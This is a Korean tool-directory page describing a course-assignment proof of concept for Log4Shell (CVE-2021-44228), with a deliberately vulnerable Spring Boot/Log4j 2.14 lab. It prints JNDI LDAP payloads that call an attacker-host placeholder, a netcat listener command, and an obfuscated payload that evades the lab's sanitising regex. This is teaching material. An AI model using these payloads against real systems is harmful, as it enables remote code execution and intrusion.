Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/carlos-mesquita/tpaslog4shellpoc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassLearning & EducationArchived
GitHubcarlos-mesquita/tpaslog4shellpoc

TPASLog4ShellPoC

Log4Shell 취약점(CVE-2021-44228)에 대한 개념 증명으로, FCUP 정보보안 석사 과정의 교과목 TPAS 과제의 일환으로 개발되었습니다.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

TPAS Log4Shell PoC

이 저장소는 FCUP 정보보안 석사 과정의 TPAS 교과목 과제의 일환으로 개발된 Log4Shell 취약점(CVE-2021-44228)에 대한 개념 증명(PoC)을 포함합니다.

다음 기능을 제공합니다:

  • 제품을 탐색하고 설명, 가격, 평점 등의 기본 세부 정보를 볼 수 있는 기본 기능을 갖춘 일반 전자상거래 웹사이트를 시뮬레이션하는 React SPA 프론트엔드 (더미 JSON API https://dummyjson.com/docs/products를 통해 제공됨)
  • 취약한 버전의 Log4j 2.14를 사용하는 Spring Boot REST API 백엔드
  • Log4Shell을 익스플로잇하는 데 필요한 공격자 측 대부분의 설정을 수행하는 bash 스크립트

이 스택을 실행하려면 다음이 필요합니다:

  • 타겟 호스트:
    • docker 설치
    • docker-compose.yaml의 NEXT_PUBLIC_BACKEND_URL 환경 변수에서 <target_ip>를 실제 IP로 교체
    • docker-compose up 실행
  • 공격자 호스트:
    • java, python, maven 설치
    • 필요한 포트 개방, "./init.sh --help"를 실행하여 포트와 스크립트의 기능 확인
    • init.sh 스크립트 실행
    • netcat 리스너 실행, nc -lvnp

모든 것이 실행되면:

검색창에 다음 페이로드를 입력하세요 (GET 쿼리 파라미터에 포함되므로 URL 인코딩 필요):

root@kitploit:~
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

또는 요청 헤더에 다음 페이로드를 넣으세요 (burp suite를 사용하여 요청을 가로채고 변조 가능):

root@kitploit:~
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

웹사이트에서 사용자 이름 옆에 아이콘이 있으며, 이를 클릭하면 로그 문자열을 정규 표현식 \$\{jndi:.*?}을 사용하여 살균(sanitize)할지 여부를 전환할 수 있습니다. 기본적으로 살균은 비활성화되어 있으며, 빨간 악마 아이콘으로 표시됩니다. 살균이 활성화되면 아이콘이 녹색 웃는 얼굴로 변경됩니다.

이 기능은 WAF 우회를 시뮬레이션하는 방법으로 사용할 수 있으며, 백엔드의 LoggerManager.java 클래스에 더 많은 정규 표현식을 추가할 수 있습니다.

현재 정규 표현식과 일치하지 않는 페이로드는 다음과 같습니다:

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}
도구 다운로드